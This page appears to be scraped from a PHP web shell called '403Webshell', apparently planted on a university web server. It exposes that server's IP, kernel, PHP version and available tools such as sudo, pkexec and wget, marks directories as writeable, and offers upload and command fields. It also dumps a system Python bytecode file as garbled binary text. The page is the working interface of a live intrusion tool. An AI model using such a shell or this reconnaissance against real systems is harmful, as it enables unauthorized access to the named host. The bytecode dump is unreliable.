403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/sepolgen/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/sepolgen/__pycache__/output.cpython-36.pyc
3

��c��@spdZddlmZddlmZejr.ddlmZGdd�d�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�ZdS)ai
Classes and functions for the output of reference policy modules.

This module takes a refpolicy.Module object and formats it for
output using the ModuleWriter object. By separating the output
in this way the other parts of Madison can focus solely on
generating policy. This keeps the semantic / syntactic issues
cleanly separated from the formatting issues.
�)�	refpolicy)�util)�cmpc@seZdZdd�Zdd�ZdS)�ModuleWritercCsd|_d|_d|_d|_dS)NT)�fd�module�sort�requires)�self�r�/usr/lib/python3.6/output.py�__init__&szModuleWriter.__init__cCsJ||_|jrt|j�x.tj|jdd�D]\}}|jdt|��q(WdS)NT)Z	showdepthz%s
)rr�sort_filterrZwalktree�write�str)r
rr�node�depthrrrr,s

zModuleWriter.writeN)�__name__�
__module__�__qualname__r
rrrrrr%srcCs�tj|�}|j�tj|�}|j�t|�t|�krFt|d|d�Sx4t||�D]&}|d|dkrRt|d|d�SqRWdS)N�r)rZset_to_listr�lenr�zip)�x�yZxlZyl�vrrr�
id_set_cmp=s

rcCsdt|j|j�}|dkr|St|j|j�}|dkr4|St|j|j�}|dkrN|Stt|j�t|j��S)Nr)r�	src_typesZ	tgt_typesZobj_classesrrZperms)�a�b�retrrr�
avrule_cmpKsr!cCs8|jd|jdkr*t|jd|jd�St|j|j�S)Nr)�argsrZifname)rrrrr�
ifcall_cmpZsr#cCsft|tj�r8t|tj�r"t||�St|jdg|j�Sn*t|tj�rNt||�St|j|jdg�SdS)Nr)	�
isinstancer�
InterfaceCallr#rr"rZAVRuler!)rrrrr�rule_cmp`s

r&cCst|j|j�S)N)rZrole)rrrrr�
role_type_cmplsr'cCs&dd�}x|j�D]}||�qWdS)z/Sort and group the output for readability.
    cSs�g}x(|j�D]}|j|�|jtj��qWx|j�D]}|j|�q8W|jtj��g}|j|j��|j|j��|jt	j
t�d�d}g}x||D]t}t|tj
�r�|jd}nt	j|j�}||k�r|r�|jtj��|}tj�}	|	jjd|�|j|	�|j|�q�W|j|�g}
|
j|j��|
jt	j
t�d�t|
��rftj�}	|	jjd�|j|	�|j|
�x$|jD]}||k�rx|j|��qxW||_dS)N)�keyrz============= %s ==============z"============= ROLES ==============)Zmodule_declarations�appendr�Commentr	�extendZavrulesZinterface_callsrr�
cmp_to_keyr&r$r%r"�firstr�linesZ
role_typesr'rZchildren)r�c�modZrequireZrulesZcurZ	sep_rulesZrulerZcommentZrasZchildrrr�	sort_nodersL








zsort_filter.<locals>.sort_nodeN)Znodes)rr1rrrrros<rN)
�__doc__�rrZPY3rrrr!r#r&r'rrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit